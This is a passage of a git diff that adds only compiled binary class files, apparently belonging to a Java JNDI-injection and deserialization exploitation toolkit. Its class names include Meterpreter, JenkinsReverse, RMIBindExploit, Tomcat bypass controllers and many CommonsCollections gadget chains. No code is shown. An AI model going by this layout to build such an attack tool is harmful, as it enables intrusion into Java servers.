diff --git a/out/production/classes/Meterpreter.class b/out/production/classes/Meterpreter.class new file mode 100644 index 0000000..003affc Binary files /dev/null and b/out/production/classes/Meterpreter.class differ diff --git a/out/production/classes/com/qi4l/jndi/HTTPServer$1.class b/out/production/classes/com/qi4l/jndi/HTTPServer$1.class new file mode 100644 index 0000000..9c9e6cb Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/HTTPServer$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/HTTPServer.class b/out/production/classes/com/qi4l/jndi/HTTPServer.class new file mode 100644 index 0000000..18e8ee7 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/HTTPServer.class differ diff --git a/out/production/classes/com/qi4l/jndi/LdapServer.class b/out/production/classes/com/qi4l/jndi/LdapServer.class new file mode 100644 index 0000000..d95852b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/LdapServer.class differ diff --git a/out/production/classes/com/qi4l/jndi/RMIServer$1.class b/out/production/classes/com/qi4l/jndi/RMIServer$1.class new file mode 100644 index 0000000..3a33e66 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/RMIServer$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/RMIServer$MarshalOutputStream.class b/out/production/classes/com/qi4l/jndi/RMIServer$MarshalOutputStream.class new file mode 100644 index 0000000..aa452fd Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/RMIServer$MarshalOutputStream.class differ diff --git a/out/production/classes/com/qi4l/jndi/RMIServer.class b/out/production/classes/com/qi4l/jndi/RMIServer.class new file mode 100644 index 0000000..ee2a8d6 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/RMIServer.class differ diff --git a/out/production/classes/com/qi4l/jndi/Starter.class b/out/production/classes/com/qi4l/jndi/Starter.class new file mode 100644 index 0000000..0872e56 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/Starter.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/BasicController.class b/out/production/classes/com/qi4l/jndi/controllers/BasicController.class new file mode 100644 index 0000000..2ed15f8 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/BasicController.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/GroovyBypassController.class b/out/production/classes/com/qi4l/jndi/controllers/GroovyBypassController.class new file mode 100644 index 0000000..4088cca Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/GroovyBypassController.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/LdapController.class b/out/production/classes/com/qi4l/jndi/controllers/LdapController.class new file mode 100644 index 0000000..5d3847d Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/LdapController.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/LdapMapping.class b/out/production/classes/com/qi4l/jndi/controllers/LdapMapping.class new file mode 100644 index 0000000..d6c26e5 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/LdapMapping.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/PropertiesRefAddr.class b/out/production/classes/com/qi4l/jndi/controllers/PropertiesRefAddr.class new file mode 100644 index 0000000..4dd2520 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/PropertiesRefAddr.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/SerializedDataController.class b/out/production/classes/com/qi4l/jndi/controllers/SerializedDataController.class new file mode 100644 index 0000000..daadbad Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/SerializedDataController.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController$1.class b/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController$1.class new file mode 100644 index 0000000..a3539dd Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController$TomcatBypassHelper.class b/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController$TomcatBypassHelper.class new file mode 100644 index 0000000..52e17fa Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController$TomcatBypassHelper.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController.class b/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController.class new file mode 100644 index 0000000..9249ac0 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController$1.class b/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController$1.class new file mode 100644 index 0000000..88e8bd9 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController$TomcatBypassHelper.class b/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController$TomcatBypassHelper.class new file mode 100644 index 0000000..6047b91 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController$TomcatBypassHelper.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController.class b/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController.class new file mode 100644 index 0000000..df3fc75 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/WebsphereBypassController$1.class b/out/production/classes/com/qi4l/jndi/controllers/WebsphereBypassController$1.class new file mode 100644 index 0000000..fcf901e Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/WebsphereBypassController$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/WebsphereBypassController.class b/out/production/classes/com/qi4l/jndi/controllers/WebsphereBypassController.class new file mode 100644 index 0000000..ed7d5f8 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/WebsphereBypassController.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/utils/AESUtils.class b/out/production/classes/com/qi4l/jndi/controllers/utils/AESUtils.class new file mode 100644 index 0000000..1f16c1a Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/utils/AESUtils.class differ diff --git a/out/production/classes/com/qi4l/jndi/controllers/ysoserial.class b/out/production/classes/com/qi4l/jndi/controllers/ysoserial.class new file mode 100644 index 0000000..83408b1 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/ysoserial.class differ diff --git a/out/production/classes/com/qi4l/jndi/enumtypes/GadgetType.class b/out/production/classes/com/qi4l/jndi/enumtypes/GadgetType.class new file mode 100644 index 0000000..546bd47 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/enumtypes/GadgetType.class differ diff --git a/out/production/classes/com/qi4l/jndi/enumtypes/PayloadType.class b/out/production/classes/com/qi4l/jndi/enumtypes/PayloadType.class new file mode 100644 index 0000000..9995812 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/enumtypes/PayloadType.class differ diff --git a/out/production/classes/com/qi4l/jndi/enumtypes/WebsphereActionType.class b/out/production/classes/com/qi4l/jndi/enumtypes/WebsphereActionType.class new file mode 100644 index 0000000..100af2f Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/enumtypes/WebsphereActionType.class differ diff --git a/out/production/classes/com/qi4l/jndi/exceptions/IncorrectParamsException.class b/out/production/classes/com/qi4l/jndi/exceptions/IncorrectParamsException.class new file mode 100644 index 0000000..dcfdcc9 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exceptions/IncorrectParamsException.class differ diff --git a/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.class b/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.class new file mode 100644 index 0000000..b1d7c60 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.class differ diff --git a/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.class b/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.class new file mode 100644 index 0000000..5bb70ac Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.class differ diff --git a/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.class b/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.class new file mode 100644 index 0000000..9341c94 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JBoss$1.class b/out/production/classes/com/qi4l/jndi/exploit/JBoss$1.class new file mode 100644 index 0000000..475e5d0 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JBoss$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionHandlerContextImpl.class b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionHandlerContextImpl.class new file mode 100644 index 0000000..74d3cee Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionHandlerContextImpl.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionProviderContextImpl$1.class b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionProviderContextImpl$1.class new file mode 100644 index 0000000..ba0d030 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionProviderContextImpl$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionProviderContextImpl.class b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionProviderContextImpl.class new file mode 100644 index 0000000..0cc5d7b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionProviderContextImpl.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConsoleLogHandler.class b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConsoleLogHandler.class new file mode 100644 index 0000000..e7ae40a Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConsoleLogHandler.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JBoss.class b/out/production/classes/com/qi4l/jndi/exploit/JBoss.class new file mode 100644 index 0000000..dbdc7c8 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JBoss.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JMXInvokeMBean.class b/out/production/classes/com/qi4l/jndi/exploit/JMXInvokeMBean.class new file mode 100644 index 0000000..abbf1fb Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JMXInvokeMBean.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPClassLoadingListener.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPClassLoadingListener.class new file mode 100644 index 0000000..c59b262 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPClassLoadingListener.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPClient$MarshalOutputStream.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPClient$MarshalOutputStream.class new file mode 100644 index 0000000..e0f0ab8 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPClient$MarshalOutputStream.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPClient.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPClient.class new file mode 100644 index 0000000..492f516 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPClient.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$1.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$1.class new file mode 100644 index 0000000..9c66c7d Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$2.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$2.class new file mode 100644 index 0000000..932322c Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$2.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$Dummy.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$Dummy.class new file mode 100644 index 0000000..7813be3 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$Dummy.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPListener.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener.class new file mode 100644 index 0000000..f44a8dd Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JSF.class b/out/production/classes/com/qi4l/jndi/exploit/JSF.class new file mode 100644 index 0000000..d586a2d Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JSF.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JenkinsCLI$1.class b/out/production/classes/com/qi4l/jndi/exploit/JenkinsCLI$1.class new file mode 100644 index 0000000..eeedcd5 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JenkinsCLI$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JenkinsCLI.class b/out/production/classes/com/qi4l/jndi/exploit/JenkinsCLI.class new file mode 100644 index 0000000..351e6de Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JenkinsCLI.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JenkinsListener.class b/out/production/classes/com/qi4l/jndi/exploit/JenkinsListener.class new file mode 100644 index 0000000..232622f Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JenkinsListener.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/JenkinsReverse.class b/out/production/classes/com/qi4l/jndi/exploit/JenkinsReverse.class new file mode 100644 index 0000000..1c359d2 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JenkinsReverse.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/RMIBindExploit$RMIClient.class b/out/production/classes/com/qi4l/jndi/exploit/RMIBindExploit$RMIClient.class new file mode 100644 index 0000000..ace898b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/RMIBindExploit$RMIClient.class differ diff --git a/out/production/classes/com/qi4l/jndi/exploit/RMIBindExploit.class b/out/production/classes/com/qi4l/jndi/exploit/RMIBindExploit.class new file mode 100644 index 0000000..671becb Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/RMIBindExploit.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/AspectJWeaver.class b/out/production/classes/com/qi4l/jndi/gadgets/AspectJWeaver.class new file mode 100644 index 0000000..8fa427a Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/AspectJWeaver.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/AspectJWeaver2.class b/out/production/classes/com/qi4l/jndi/gadgets/AspectJWeaver2.class new file mode 100644 index 0000000..93f7573 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/AspectJWeaver2.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/BeanShell1.class b/out/production/classes/com/qi4l/jndi/gadgets/BeanShell1.class new file mode 100644 index 0000000..527ec55 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/BeanShell1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/BeanShell2.class b/out/production/classes/com/qi4l/jndi/gadgets/BeanShell2.class new file mode 100644 index 0000000..cd714c7 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/BeanShell2.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P0$PoolSource.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P0$PoolSource.class new file mode 100644 index 0000000..e5351a1 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P0$PoolSource.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P0.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P0.class new file mode 100644 index 0000000..24df56e Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P0.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P02$PoolSource.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P02$PoolSource.class new file mode 100644 index 0000000..5e5ff32 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P02$PoolSource.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P02.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P02.class new file mode 100644 index 0000000..b3976f5 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P02.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P03$PoolSource.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P03$PoolSource.class new file mode 100644 index 0000000..daba595 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P03$PoolSource.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P03.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P03.class new file mode 100644 index 0000000..a1c15cc Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P03.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P04$PoolSource.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P04$PoolSource.class new file mode 100644 index 0000000..2dc9817 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P04$PoolSource.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P04.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P04.class new file mode 100644 index 0000000..cf6f3a9 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P04.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P092$PoolSource.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P092$PoolSource.class new file mode 100644 index 0000000..c2fa47a Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P092$PoolSource.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P092.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P092.class new file mode 100644 index 0000000..2de2566 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P092.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Click1.class b/out/production/classes/com/qi4l/jndi/gadgets/Click1.class new file mode 100644 index 0000000..ef19c5d Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Click1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Clojure.class b/out/production/classes/com/qi4l/jndi/gadgets/Clojure.class new file mode 100644 index 0000000..18e91de Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Clojure.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1.class new file mode 100644 index 0000000..19e4ed1 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1183NOCC.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1183NOCC.class new file mode 100644 index 0000000..862df0b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1183NOCC.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.class new file mode 100644 index 0000000..93249f4 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2.class new file mode 100644 index 0000000..d7c270e Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2JDBC.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2JDBC.class new file mode 100644 index 0000000..5e8526a Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2JDBC.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2NOCC.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2NOCC.class new file mode 100644 index 0000000..89b60ef Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2NOCC.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils3.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils3.class new file mode 100644 index 0000000..aaa2d62 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils3.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils4.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils4.class new file mode 100644 index 0000000..7c024da Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils4.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils5.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils5.class new file mode 100644 index 0000000..dbb870a Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils5.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare.class new file mode 100644 index 0000000..fa51f7b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare183.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare183.class new file mode 100644 index 0000000..2d47ba8 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare183.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator.class new file mode 100644 index 0000000..0d63523 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator183.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator183.class new file mode 100644 index 0000000..cbf90e0 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator183.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource$1.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource$1.class new file mode 100644 index 0000000..9a777e4 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource.class new file mode 100644 index 0000000..28dd0a5 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183$1.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183$1.class new file mode 100644 index 0000000..acff17b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183.class new file mode 100644 index 0000000..0f09e09 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections1.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections1.class new file mode 100644 index 0000000..875668a Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections10.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections10.class new file mode 100644 index 0000000..c6b4e4d Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections10.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections11.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections11.class new file mode 100644 index 0000000..481bce0 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections11.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections12.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections12.class new file mode 100644 index 0000000..ded95e6 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections12.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections2.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections2.class new file mode 100644 index 0000000..86dbbda Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections2.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections3.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections3.class new file mode 100644 index 0000000..f8205bb Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections3.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections4.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections4.class new file mode 100644 index 0000000..e80be0a Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections4.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections5.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections5.class new file mode 100644 index 0000000..b0b2ee0 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections5.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections6.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections6.class new file mode 100644 index 0000000..5b6cb8f Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections6.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections7.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections7.class new file mode 100644 index 0000000..acc1cd6 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections7.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections8.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections8.class new file mode 100644 index 0000000..95b6a00 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections8.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections9.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections9.class new file mode 100644 index 0000000..ee48dd2 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections9.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK1.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK1.class new file mode 100644 index 0000000..4f6276e Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK2.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK2.class new file mode 100644 index 0000000..cfe23a3 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK2.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK3.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK3.class new file mode 100644 index 0000000..c37bf5f Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK3.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK4.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK4.class new file mode 100644 index 0000000..b8d64a7 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK4.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK5.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK5.class new file mode 100644 index 0000000..8172057 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK5.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK6.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK6.class new file mode 100644 index 0000000..ab5a443 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK6.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Config/Config.class b/out/production/classes/com/qi4l/jndi/gadgets/Config/Config.class new file mode 100644 index 0000000..5fd1cca Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Config/Config.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Config/HookPointConfig.class b/out/production/classes/com/qi4l/jndi/gadgets/Config/HookPointConfig.class new file mode 100644 index 0000000..5c6b14c Binary files /dev/null and 